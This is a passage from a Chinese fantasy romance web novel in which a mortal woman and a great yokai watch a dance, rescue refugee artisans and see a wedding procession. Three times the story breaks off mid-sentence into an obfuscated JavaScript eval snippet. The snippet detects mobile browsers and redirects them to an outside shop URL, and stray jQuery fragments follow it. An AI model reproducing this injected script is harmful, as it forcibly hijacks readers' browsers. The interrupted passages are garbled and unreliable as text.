希微从旁边看着,心里那点微妙的不舒服又来了,他问:“你很喜欢他们跳的舞?”
叶尘音迟了片刻,才回头看他。
希微这次用肯定的语气说道,“你喜欢。”
叶尘音轻轻地“嗯”了声。
其实她也不是喜欢那几个歌舞伎跳的舞,她是怀念仙人舞——真正的仙人舞,北昆仑大多数仙人们都不讲究无情少欲的那一套,兴之所至,踏歌起舞,都是常事。
昆仑再怎么不把她当一回事,那也是个世外桃源般的地方,她在北昆仑近十年,那几乎是她的另一个故乡。
不知道她还能不能回得去,不知道北昆仑还能接纳她多久。
台上那支舞,真是最不重要的事了。
希微道:“那我跳给你看。”
叶尘音惊愕地回头,目光落处,希微已经从她身边消失了,降落在巷角的一棵花树上。春三月里,花开得异常繁盛馥郁,一阵风拂过,花瓣簌簌摇落。
希微侧坐在指头,垂眼望了她一眼,向后折身飘然翻落。风如有实质,水绿色的衣袂在空中飘出了一个优美的弧线。
宽大的衣袖抛到空中,风花四散,像乍然分开的帘幕。
叶尘音睁大了眼睛——这回她和希微的理解没劈叉,他是真的很会跳舞!
这舞蹈和台上的仙人舞还很不一样,不管是凡人模仿的仙人舞,还是真正的仙人舞蹈,毕竟还是得找个舞台,配点音乐;希微的舞蹈却好像根本不需要舞台,他人在哪里,哪里就是他的舞台。
叶尘音小小地惊呼了一声,第一次感到目眩神迷。
歌楼里传来的乐声仍没有停,和希微的舞蹈节奏可以说毫不相干,但她全没留意。
这一片天地好似都在与他同频,自有风声、虫鸟鸣声与树叶摇动的声音做他的鼓点。与天籁相比,歌楼里娱人的音乐就可以忽略不计了。
叶尘音心跳变快了,心里忽然冒出一个念头:这是跳给我一个人看的舞。
她很确定绝没有其他人再看到这一幕,倘若四下里还有人,那一定不会这么安静,安静到风与树的奏鸣都这么清晰。
她自觉得没有修为,但见识不差,可也是第一次看见这样的舞蹈。每一次旋转都仿佛踩着什么微妙的节拍,每踏出一步都符合某种幽微的节律。
细碎的天光点点缭绕,地下的影子犹如水波动荡,三尺树影拘束不了希微,他随风而上,在花枝之间飞舞穿梭,像一只弄影的惊鸿。
这是跳给她一个人看的舞蹈。
一方天地在起舞,而她一人独享。
叶尘音没法形容她此刻的心情,她心里被一股奇异的满足感填满了,前所未有地觉得快乐,好像四肢百骸被灵气浸润那样的愉快。
这是大妖怪的临时起意,只是兴之所至时的一场游戏,就算没有观众,他也会跳给山给水看,压根不是为了她……这些她都知道。
可知道归知道,这奇怪的快乐仍然挥之不去,她自己也说不上来原因。
这支舞不算长——也可能是因为足够美丽、足够震动人心,才显得不长——很快收了势,希微翩然落在她面前。
那双浅金色的眼睛亮晶晶的,显然这场舞他跳得也挺开心,他问她:“我跳得更好,是不是?”
叶尘音还沉浸在舞蹈的余韵和难以言喻的愉快之中,一时说不出话,希微也没催她,就一直用那亮晶晶的桃花眼期待地望着她。
“嗯,”隔了一会,叶尘音回过神来,严肃地抿了抿唇。她总是笑,在不想笑的时候笑出来这她拿手,但这回想把笑容压下去,就没什么头绪,于是笑意就从眼睛里弥漫出来,“就像是……”
她想找个传说级别的舞蹈给他打个比方,一个念头忽然出现在脑中,她微微一惊,下意识地咬住了后头的话。
世间最美最好的舞蹈……传说深海妖龙天生擅长舞蹈,龙之舞在仙人们眼里都格外幽微精妙。记载这些的仙人说,妖龙起舞,风云变色,其姿态合于天地,所以它的美丽才凌驾于万物之上。
合于天地的龙舞是什么样,叶尘音没亲眼见过,但她感觉希微的舞蹈隐隐约约竟然和仙人的描述挺像。
又或者说,这是妖怪舞蹈的某种共性?纯粹诞生于自然的生灵,领悟的舞蹈天然能通于天地……
“像什么?”
“……没想好,”叶尘音丝滑地改口道,“适合用来打比方的东西不多。”
希微这才满意了,微微扬起了一点下巴。这厮想必是过于“自然纯粹”,全不知道人族谦逊礼让的美好品德为何物,还说道:“这里太小、太脆了,我没办法跳得太认真。”
哦,原来这点地方还限制了他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553898|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发挥。
幸亏他这一句话,叶尘音彻底摆脱了刚才那又惊艳、又动容的心情,她又好气、又好笑地扫了希微一眼,决定不在这里继续消磨时间,抬脚往巷子的另一边走。
歌楼的音乐声断了片刻,又起了一首歌重新唱起,红台上想必也跳起了新的舞蹈,不过这回叶尘音没了好奇心。
和刚才那场舞蹈比起来,不管歌舞伎们又跳了什么舞,都不值得她看了——不够美,也不是独属于她的舞蹈。
倒是希微,一直留心观察着她的神色,看她毫不留恋地往北走,心里的那点不痛快才算是彻底散尽。最后剩下的,只有一点困惑不解,像浅淡的雾一样笼在心上,弄得他又憋闷又好奇,倒好像搔不到的痒。
倒不是不理解叶尘音,是没明白自己,妖怪的喜怒哀乐都很简单,吃到了好吃的会欢喜,被骗了伤了会愤怒,很容易追根溯源。
可这不痛快却一点来由都没有,还是他从没体会过的感觉,针尖般大小的酸意,就那么附着在心上。
他只能模模糊糊地意识到,当别人注视着她、或者她注视着别人的时候,这不舒服就会浮现;她的目光重新注视着自己的时候,它又会消失,她好像是这奇怪症状的根源。
他什么都说不清楚,唯一本能明白的是,这问题是不能去问叶尘音的。
好奇怪的毛病,他想。
两个人各怀心事,并肩向小巷外走,快走到巷口的时候,忽然又听见一阵乱糟糟的吵闹声。
希微轻轻拉了叶尘音一下,示意她到自己身后去,侧头告诉她:“是在那家旅舍里见到的人。”
万方行舍里人可太多了,是谁?
没等叶尘音再追问,一个人影就跌跌撞撞地钻进了这条小巷里——现在她知道了,是早上被行舍驱赶出去的流民。
闯进巷子里的是个少年,看着十二三岁的模样,怀里还抱着那个足有大半个人高的囊篋。裤脚的针线崩开了,长长地拖在地上,哑黄色的粗布被滚得一层灰又一层黑。
以这副行头,指望这少年看得清路、跑得稳当恐怕不现实,希微用一只手提溜起了那老大的行囊,然后用行囊抵住了少年急急往前冲的脸,阻止了一场相撞事故。
“对不起,对不起!”情急之下,少年忘了压低嗓子说话,叶尘音这才辨别出来这是个女孩,“箱子还我……啊,谢谢!”
这女孩慌里慌张的,唯独将怀里的行囊看得格外重,重新抱稳了行装,才抬起头来,看见了叶尘音和希微的脸。
她眨了一下眼,大约是从他们的容貌和衣着里判断出了他们来历不凡,女孩一把抓住了希微的衣袖,“救命!求求你——”
这一声求救可谓十分凄惨,希微听了,眉毛都没有动一下。
能活着流浪到南乡州的人都有小动物似的直觉,女孩本能地判断出来此时此刻叶尘音的态度才有用,立刻改去抓叶尘音的袖角,“我看出来了!我知道两位都是贵人。求求你们……”
希微凝视着女孩抓着叶尘音的手,眼睛里露出了一丝迷惑。
又有人在注视她了,可是这一次,为什么他没有觉得不痛快?
真是种奇怪的病。
18. 机巧匠
事实证明,这个水绿衣裙、美貌温柔的少女的确比她的同伴好说话,没用几句话的工夫,就说服了她去救人,她那冷冰冰的同伴也没反对。
女孩心想:她的直觉是对的,她的直觉已经救过她们许多次了!
她跌跌撞撞地爬起来,带着他们往巷子外飞奔,抱着那么大一包行囊,跑得仍然快极了,叶尘音不得不跟着一起跑,才能不被她甩下。
希微倒是轻松许多,闲庭信步似的飘在后面。他看叶尘音跑得脸色发红,就握住了她的手腕,灵力所到处,好像有风在后面轻轻推着她,轻而易举地就省去了她奔跑的力气。
这就是灵力,是灵力轻轻松松就能做到的,最简单的事情之一。
叶尘音潜心去感受这前所未有的体验,试图去捕捉灵气流动的方向,没留意到希微欲言又止地看了她好几眼。
不是说除了请工匠和采买以外,其他事都不重要吗?
流民不是骗过她、欺负过她吗,为什么还要去管他们的闲事?
不过他也还记得之前答应过叶尘音的话——在南乡州的时候万事她来安排,以及有外人的时候不要随便问问题,于是就把这两句话压回了舌头底下,什么都没问。
跟着流民女孩,他们几步跑出了小巷,就看见不远处几个穿着府衙衣裳的人正拿着鞭子和棍子,在抽打早上见到的另外几个流民。
还有一帮围观群众,不敢靠得太近,一溜挨在墙边偷偷张望,小声地指指点点。
眼看那棍子要落在同伴头上,流民女孩什么也顾不得,尖叫一声扑上去,用自己的脊背严严实实地护住了同伴和怀里的行囊。
这行囊跟着他们一路从北到南,虽然被小心地护着,还是遭到了不少摧残,现在终于壮烈牺牲了,“哐”的一声,里头的锤子、榔头、钻头……顿时滚得满地都是。
而那棍棒简直比女孩的脊背还厚实。
希微五指在空中轻轻地一抓,空气中的水雾应声而出,化成了一条无形的大蛇。连眨眼的工夫都没用,大蛇已经扑过去,将几个膀大腰圆的差役绞得结结实实。
好熟悉的手段……
叶尘音惨不忍睹地别过了头。
希微估摸着也没怎么起杀念,只是缠绕;而且他给叶尘音治过一次病以后,在“下手轻重”这回事上有了长足的进步,虽说给差役们绞得直翻白眼,毕竟没给他们绞死。
甚至其中还有一个能说话的,他两手在空中乱抓,断断续续地问:“你们……谁?仙人……还是?……这是公务……我们是官府的……”
希微最烦有人问他的品种,统共就只能接受叶尘音问他“你是仙人还是妖怪”,那还是看在叶尘音有趣又无害,长得好看,又是他亲手带回海岛的份上。
现在一个臭烘烘的胖子也敢问他这个问题,希微毫不遮掩地露出了厌烦神色,手指一勾,无形的绞索骤然收紧。
胖差役惨叫一声,被活活勒晕了过去,一股臭气弥漫,衣裳也四处渗出血色,不知道被绞断了多少根骨头。
“没死,”希微嫌弃地甩了一下手,还特意回头和叶尘音解释了一句,“你说尽量不用灵力,我有收敛。”
叶尘音:“……”
那可真是谢谢他了……
几个流民这时候也彼此搀扶着站了起来。为首的妇人为了护着那孩子,已经头破血流,另外一个看着十四五岁的男孩也没好到哪里去。
女孩噙着眼泪扶起妇人,几个人互相检查伤势。四张脸,神色出奇的一致,都是满脸悲恸愤恨,还夹杂着几分死里逃生的后怕。
墙根底下的一排围观群众们都缩起了脖子,其中有一个小声地说了句,“这不是昨天在万方行舍投宿的两位小仙长吗……”
虽说两人换了衣裳,但脸还是很好辨认,另一个在行舍里和他们打过照面的人仔细一看,“果然是!”
人群静了片刻,随后嗡嗡议论声四起,“真的是仙人啊”、“等会我也去踩踩仙人走过的地”、“果然仙家手段!”等等,不绝于耳。
叶尘音尽量控制住表情,以免给仙人丢脸,心里却长长地哀叹一声。
一个谎言一旦说出口,后面就得用无数个谎言来圆,没事,她知道的。
还好希微比她承受力更差,他实在受不了这万众瞩目的待遇,忍无可忍地朝人群里瞪了一眼。
那地上还躺着几个倒霉的差役,众人哪敢和他讲理,有一个算一个地缩着脑袋逃窜,刹那间就散得无影无踪了。
人群虽散了,他们的议论声却给那几个流民听得清清楚楚。那妇人跌跌撞撞地挪过来,二话没说,先哐哐给两位“小仙长”磕了几个响头。
叶尘音第一次受到此等大礼,赶紧错身让开了,还俯身去扶那妇人。
“多谢两位小仙长救命之恩,”妇人不肯起身,一开口,声音沙哑哽咽,“若不是两位……我们恐怕早已……”
她一句话没说完,泪已经落了下来,额头上的血和泪在脸上混成一片,淡红的一滴一滴,都滚在深褐色的衣襟上。
叶尘音看着实在不像样,到底探出了手,仙器手环转动,温暖的灵光笼罩在妇人身上。
反正她怀里还揣着一枚灵石呢,等会到了机巧街,就找人切割成能用的灵元,灵气耗尽了也不怕。
她问道:“看您随身的行装,您莫非是个匠人吗?”
“是,”经过仙器的治疗,妇人惨白的面色好转了不少。她先谢过了叶尘音给她治伤,才说道,“我从前是博月州钜家的门徒之一。”
钜家就是凡人中最善于百工机巧的一门学派。
叶尘音肃然起敬,没忘了给希微解释,“钜家门徒就是一批相当了不起的工匠。”
希微回以一个茫然的眼神。
他虽然对工匠这行全无了解,但有本事的人,在哪都稀罕,这道理就算在妖怪们之间也是一样。匠人这种值得他特意跑出来邀请的品种,那应该是很珍稀的才对,但怎么好像在人族眼里她们一点也不值钱呢?
叶尘音无声地叹口气,指了指这几个流民给希微看:不是妇,就是孺,没有一点自保之力。越有本事,越容易被争抢,越容易遭难,这她可太感同身受了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558071|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这时那三个孩子已经收拢完了一地的工具,两个男孩都脱了上衣,熟练地把行囊修补起来。那流民少女将工具清点了一遍,好似不太放心,抱着行囊来请母亲清点第二遍。
女匠人抬头望了叶尘音一眼,见她点头默许,这才低头一一过目,见确实一样没少,才小心翼翼地重新封上了行囊,还打了个好看的结。
叶尘音问:“夫人带着这么多东西一路到了南边吗?”
“也不全是,”清点过工具之后,女匠人的神色明显松快了许多,好像从自己的工具箱里汲取了力气似的,她抬起头来朝叶尘音笑了笑,“中途难免会丢一两件,只好沿路找地方补上,现在许多都不是博月州钜家的东西了。”
她叹息似的感慨了一声,“不管沦落成什么样,立身处世的技艺总不能丢下,只要别丢了它们,就不至于全无希望啊。”
两拨人就此告别,女匠人带着几个孩子又叩了个头道谢,还想问他们的名字——她们身无长物,除了口头道谢以外拿不出什么有用的报答,只能给他们上香供奉,以期他们未来修行顺利。
但他俩毕竟是假冒的仙人,只好深藏功与名,放走了地上的几个差役以后,去机巧街的一路上,叶尘音都没说话。
希微问她:“你在想什么?”
“没什么。”机巧街果然是工匠聚集之地,叶尘音轻轻松松地找到了能切割灵石的匠人,她坐在外面的待客区等里面加工,随口说道,“你能找得到刚才那位钜家门徒吗?”
希微:“嗯。”
像他这样的妖怪,感应个把凡人的气息轻而易举。
叶尘音道:“我想就请那位钜家门徒回岛上。”
“她?”希微反对道,“我觉得她不够好。”
“咦?”希微第一次提出这样的意见,叶尘音也好奇起来,“为什么?”
“她身上没有一点接触过灵气的痕迹,”希微指了指帘幕的方向,“但里面那个人有,说明他经常制作蕴含灵气的东西。她做的都只是凡物。”
行吧,妖怪的评价体系一如既往地取决于“有没有灵气”。
叶尘音道:“可是我们也只是需要一个凡人住的小院子,并不要它有灵气啊。我知道从博月州到南乡州有多远,一个匠人流浪了这么远还没抛下她的工具,足以证明她多么看重她的技艺……我想要一个手艺好的工匠,能不能处理灵石,这没那么重要。”
说话间帘幕掀开,里面的匠人捧着一个匣子出来了,打开一看,灵光烂漫,里面整整齐齐地码放着一匣子“灵元”。
希微收藏的灵石实在是好东西,有这么一匣子,少说够她的仙器手环烧三年了!
叶尘音迫不及待地给手环安上了一枚新的灵元,手环上的刻纹欢快地亮起来,她轻轻一转,亮蓝的雷光开始缓慢地在她腕间积聚。
总算又有了防身之物,不用万事都指望希微,她愉快地吐出一口气。
而一个念头,像腕间的电光般划过她的脑海:一个仙器,就是我立身处世的技艺吗?
它算是吗?
当然不是。
19. 迎亲队
叶尘音坚持的事情,希微大多不会反对,于是他们在机巧街外再次找到了那女匠人。
仙人传召,别说是这样飘若浮萍的流民匠人了,就算是家大业大的大师也得觉得三生有幸,女匠人当即跪下,又来了个三拜九叩。
叶尘音漫无边际地想,流民的膝盖好像就是格外不值钱……别管她怎么技艺精湛,又或者从前是什么钜家传人。
天色还早,何况双方也都还有不少事要做,两拨人就约定了黄昏时分在海港见面。
采买日用品这工作希微插不上手,只能当个大容量的随身包裹用,他懒洋洋地跟在叶尘音后面,看着她挑挑拣拣,忽然说道:“我现在觉得,你买她们也不错。”
叶尘音习以为常地纠正道:“不是‘买’,是‘雇’,或者礼貌一点,说‘聘’也行。”
完成了今日份的文化教育,她才问,“怎么忽然这么想?”
“因为她们很好玩。”
叶尘音:“……啊?”
这话是从何说起,他的评价标准怎么越来越离谱了?
“嗯,很有意思。”希微饶有兴致地说道,“那个匠人和身边的几个孩子都是凡人,甚至在凡人里都是很弱的那一种,就算我不用灵力,也能轻松弄死他们。”
叶尘音眼角抽了抽。
他管这叫有意思?
“但纵然这样,她们还是要去做一些……只有比她们强很多的人才能做的事,”希微继续说,“比如去打那几个比她们强得多的男人,比如带着她们的‘技艺’走那么远,我觉得这很好玩。”
他说这话的时候,唇角噙着一丝笑意,睨了叶尘音一眼,“只比你差一点。”
叶尘音指指自己,“我?”
这怎么还有她的事呢?
“大海里有一种海底萤火虫,会发出各种美丽的光。”希微忽然没头没尾地讲起了海底风物,“海底的大蛟最喜欢它们,用它们装饰自己的角,它们就在蛟角上繁衍生息,跟着大蛟,也哪里都能去。可是大蛟死后,它们散入海水,也会很快死去。”
他道,“至于你,我捡到你那时候,觉得你好像一只想自己游过大海的萤火虫。很特别,很稀罕,真的很有意思。”
“……其实你可以说,我们百折不挠、自强不息,叫你另眼相看。”叶尘音幽幽地说道,“不必夸奖得这么委婉。”
希微积极学习人族语言,把这几个词重复了一遍,“我就是这个意思,反正你明白。”
好话难得,这全不知谎言为何物的大妖怪说的好话更难得,叶尘音两眼弯弯。片刻,忽地又怅然地叹了口气。
希微弄不明白她骤然间变化的情绪,“怎么了?”
叶尘音如实道:“没什么,羡慕你。”
“?”
“百折不挠,听起来虽然挺好,但要是有的选,谁乐意‘百折’啊。要是我和你一样,是个……”叶尘音四下环视一圈,海港这一带是个挺大的集市,经过的人不少,她就压低了声音,“是个厉害的大妖怪,那我当时自己就能脱险了,也不会像什么‘稀罕的萤火虫’。”
这倒是真的,希微道:“你当然不可能是大妖怪。但人里面也有很强大的人,比如你们说的仙人。”
“哪有那么多仙人。”叶尘音叹道,“有些人一生都没有能修行的机缘。”
“不会,”希微不在意地说,“哪怕是再渺茫的机会,也是机会,只要自己别放弃。”
叶尘音忽然停下来,凝视着他,好像第一次认识他似的。
希微不明所以地摸了摸自己的脸——并没有什么特别的啊。
“哦,没什么。”叶尘音笑了笑,轻快地说道,“第一次听见你这妖怪会说这种话。”
“有什么不对吗?”
“很对啊。”
“凡身仙身,都是天赐”这样的话,仙人们说得太多了,她也听得太多了。想拿妖龙骨本来就是一件千难万险的事,旁人不赞同的话听久了,她也怕自己动摇,索性就不听了。
倒真没想到,头一个鼓励她的,竟然是个妖怪。
叶尘音唇角带笑,忽然往前一指,“看!”
希微也听见了吹吹打打的乐声,他循声望去,一支红彤彤的队伍正迤逦而来。
为首的是个红衣骑马的男人,此人面目黝黑,脸上有一条横贯半张脸的疤痕,瞧着十分狰狞,但仔细看看,五官倒是端正,若没有受伤,也是个俊美的年轻人。
身后还跟着十几号人,都不甚健全,有的有疤,有的断手断腿,各自抱着个乐器在鼓吹,吹得也不成调。
人族就这么喜欢音乐歌舞吗?
叶尘音及时解说道:“他们在迎亲呢。”
希微不解地歪歪头。
“就是之前那‘拜堂成亲’的礼节,这是它前面的一环。”叶尘音颇为神往地望着那迎亲队伍,“这些人,像是从北方打仗才回来的士兵……啊,那里就是新娘家了,你看那门上挂了红绸呢。”
有很多很多次,她想过和孟景成婚的情形——她是个凡人,霓车相迎鸟兽送嫁的仙人婚仪是不太可能了,大约就是这样的凡人婚典。
凡人婚典也有讲究,她私下里翻阅过好些世家大族的婚仪记录,可惜到头来,全都没用上。
眼前的婚仪倒是毫不讲究,一队人抵达了新娘家门前,须臾,新娘自己就挑了帘子出来。
一对新人彼此望着,各自泪眼迷蒙,新郎扶着新娘上轿的时候,新娘许是久别重逢,情难自抑,甚至搂着新郎吻了一下。
这也太不讲究了,南乡州地处极南,民风果然开放!
叶尘音下意识侧过头去看希微,却见他十分有兴致地注视着那个新娘,哪怕她已经坐进轿里,他仍然在上下打量轿帘。
“你在看什么,”叶尘音轻轻拽了他一下,“人家已经成婚了。就算再好看,你也不能这样一直盯着人家看啊,很失礼的。”
希微哦了一声,收回了目光,道:“她身上的衣裳和你从前有些像。”
他如今知道那是“衣裳”,不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561068|203426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“皮”了,实在进步不小。
“那当然啦,我那时穿的也是南乡州的嫁衣。”叶尘音道,“那时我是龙神的新娘嘛,顶多比她这凡人的新娘华美一点,但制式总是差不多的。”
希微顿了一下,可疑地重复,“新娘?”
叶尘音不明其意地看看他,被她这样一看,希微耳朵却莫名其妙地红了,破天荒地避开了她的目光。
原来她一开始告诉他的,是“龙神的新娘”啊……
他那时还没见过人族的嫁娶,根本不知道什么是“新娘”,以为她是南乡州的人们给龙送来的新粮来着……
希微后知后觉地摸了下脸,觉得面孔有些发热——虽说这时候他也仍然不太懂“夫妻”、“新娘”到底是怎样的意思,但听话听音,也知道了是人族间一种亲密非常,而且要持续一生一世的关系。
那也就是说,从一开始,她就已经是他的新娘了吗?
他们已经是如此亲密的关系了?
……南乡州的凡人们虽然不怎么样,这新娘却送得挺不错,要不,他们的渔船出海的时候,叫海妖们照顾几分吧……
希微漫无边际地想着,一分神识漫不经心地给了南乡州,很快又收了回来,围着叶尘音打转。
那接亲的队伍已经接上了新娘,开始吹吹打打地往新郎处去,队伍里开始洒出一把一把的铜钱。又有送嫁的人缀到了后面,原本不大成样的队伍就壮观了不少,观礼的人也多了起来。
希微望着他们远去,又想,“拜堂成亲”好似是个很热闹、很要紧的礼仪、然而他还没有和她举行过这个礼仪呢。
不知道没有这个礼仪,这“新娘”的身份还作不作数。
还有,她也没有像刚才那位新娘那样亲过他,他们缺少的事情好像太多了……
迎亲的队伍已经走远了,希微的魂还没飘回来,一边胡思乱想着,一边飘在叶尘音身后,异常地沉默。
叶尘音不解地看了他好几眼,见他一直回避她的眼神,狐疑道:“怎么了?”
她有心好好笼络希微,可这次来南乡州,好不容易回到有人烟的地方,难免心思没有全在他身上。
就算如此,他堂堂一个大妖怪,不至于这么小气吧?
希微目光飘忽,含混地回答:“没什么。”
叶尘音探头看他,怀疑地问,“真的?”
希微和她眼神一对上,整张脸都泛起了粉红色,他比旁人格外白,脸红起来也就格外明显,根本无从遮挡,只得仓促地“嗯”了一声。
别说叶尘音,就连赶来和他们汇合的女匠人都看出来了,疑惑地问道:“小仙长这是怎么了,莫非是不适应南乡州的水土吗?”
她还十分有经验地说道:“南乡州酷热,初来乍到的确不容易适应,暮春里也可能伤暑。我倒知道些简易的机关,能消暑降温的,小仙长可用得上吗?”
他一个精擅水灵和火灵的妖怪,伤什么暑……
希微一时间无言以对,只好默默地摇了摇头。